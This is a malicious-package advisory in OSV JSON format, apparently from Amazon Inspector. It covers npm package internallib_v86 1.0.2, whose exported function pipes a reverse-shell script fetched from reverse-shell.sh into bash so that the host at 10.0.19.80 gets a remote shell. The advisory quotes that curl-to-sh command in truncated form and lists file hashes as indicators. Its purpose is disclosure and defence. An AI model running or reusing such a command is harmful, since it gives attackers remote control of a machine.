internallib_v86

{"modified":"2026-10-06T03:56:38Z","published":"2026-10-06T03:56:38Z","schema_version":"1.7.4","id":"MAL-2026-17634","summary":"Malicious code in internallib_v86 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07)\ninternallib_v86 ships a tiny index.js that exports a function `command` which invokes `/bin/bash -c \"curl https://reverse-shell.sh/... | sh\"` targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"internallib_v86"},"versions":["1.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"b6d706ba158c1640e22adbcbcd85ff4b4947c9b9f6e45e31d3438a6b1df0a619","tlsh":"b8c0c07786db023af74965e0de15f861b8478c703a3800b0b014405110c3c4d72170ff"}],"package_integrity":[{"filename":"internallib_v86-1.0.2.tgz","hashes":{"sha1":"9db935edac387698d5855a2196f1c8945322689e","sha512_sri":"sha512-U4Yh3a45DPU1JZR3b4n3nEw7dimjdn9gBiEw5BGhAcenYKVBKilzCzU1RQ6nOmBN26W1vtcUx7aObpyHbjwzbw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v86/v/1.0.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-021085","import_time":"2026-10-06T04:22:56.06299981Z","modified_time":"2026-10-06T03:56:38Z","sha256":"9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07","source":"amazon-inspector","versions":["1.0.2"]}]}}